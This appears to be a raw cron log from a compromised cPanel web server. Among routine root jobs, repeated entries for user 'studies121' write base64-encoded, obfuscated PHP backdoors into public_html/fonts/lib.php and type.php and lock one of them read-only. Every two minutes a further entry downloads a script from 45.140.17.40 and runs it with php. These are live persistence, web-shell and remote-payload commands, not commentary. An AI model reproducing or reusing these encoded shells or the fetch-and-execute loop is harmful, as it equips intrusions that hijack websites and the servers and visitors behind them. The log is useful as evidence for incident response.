Sep  3 02:57:01 ip-184-168-122-23 CROND[20510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:57:01 ip-184-168-122-23 CROND[20511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:58:01 ip-184-168-122-23 CROND[20608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:58:01 ip-184-168-122-23 CROND[20610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:58:01 ip-184-168-122-23 CROND[20612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:58:01 ip-184-168-122-23 CROND[20611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:58:01 ip-184-168-122-23 CROND[20613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:59:01 ip-184-168-122-23 CROND[20729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:59:01 ip-184-168-122-23 CROND[20730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:59:01 ip-184-168-122-23 CROND[20731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:59:01 ip-184-168-122-23 CROND[20728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:00:01 ip-184-168-122-23 CROND[20818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:00:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:00:01 ip-184-168-122-23 CROND[20821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:00:01 ip-184-168-122-23 CROND[20822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:00:01 ip-184-168-122-23 CROND[20826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:00:01 ip-184-168-122-23 CROND[20823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:00:01 ip-184-168-122-23 CROND[20824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:00:01 ip-184-168-122-23 CROND[20825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:01:01 ip-184-168-122-23 CROND[20937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:01:01 ip-184-168-122-23 CROND[20940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:01:01 ip-184-168-122-23 CROND[20939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:01:01 ip-184-168-122-23 CROND[20941]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 03:01:01 ip-184-168-122-23 CROND[20945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:01:01 ip-184-168-122-23 CROND[20944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20941]: starting 0anacron
Sep  3 03:01:01 ip-184-168-122-23 anacron[20960]: Anacron started on 2026-09-03
Sep  3 03:01:01 ip-184-168-122-23 anacron[20960]: Will run job `cron.daily' in 17 min.
Sep  3 03:01:01 ip-184-168-122-23 anacron[20960]: Jobs will be executed sequentially
Sep  3 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20962]: finished 0anacron
Sep  3 03:02:01 ip-184-168-122-23 CROND[21123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:02:01 ip-184-168-122-23 CROND[21126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:02:01 ip-184-168-122-23 CROND[21125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:02:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:02:01 ip-184-168-122-23 CROND[21129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:03:01 ip-184-168-122-23 CROND[21216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:03:01 ip-184-168-122-23 CROND[21218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:03:01 ip-184-168-122-23 CROND[21220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:03:01 ip-184-168-122-23 CROND[21219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:04:01 ip-184-168-122-23 CROND[21300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:04:01 ip-184-168-122-23 CROND[21302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:04:01 ip-184-168-122-23 CROND[21303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:04:01 ip-184-168-122-23 CROND[21305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:04:01 ip-184-168-122-23 CROND[21304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:05:01 ip-184-168-122-23 CROND[21439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:05:01 ip-184-168-122-23 CROND[21444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:05:01 ip-184-168-122-23 CROND[21446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:05:01 ip-184-168-122-23 CROND[21441]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:05:01 ip-184-168-122-23 CROND[21442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:05:01 ip-184-168-122-23 CROND[21443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:05:01 ip-184-168-122-23 CROND[21445]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:06:01 ip-184-168-122-23 CROND[21541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:06:01 ip-184-168-122-23 CROND[21542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:06:01 ip-184-168-122-23 CROND[21543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:06:01 ip-184-168-122-23 CROND[21546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:06:01 ip-184-168-122-23 CROND[21548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:07:01 ip-184-168-122-23 CROND[21708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:07:01 ip-184-168-122-23 CROND[21709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:07:01 ip-184-168-122-23 CROND[21711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:07:01 ip-184-168-122-23 CROND[21710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:08:02 ip-184-168-122-23 CROND[21791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:08:02 ip-184-168-122-23 CROND[21793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:08:02 ip-184-168-122-23 CROND[21792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:08:02 ip-184-168-122-23 CROND[21796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:08:02 ip-184-168-122-23 CROND[21798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:09:01 ip-184-168-122-23 CROND[22037]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
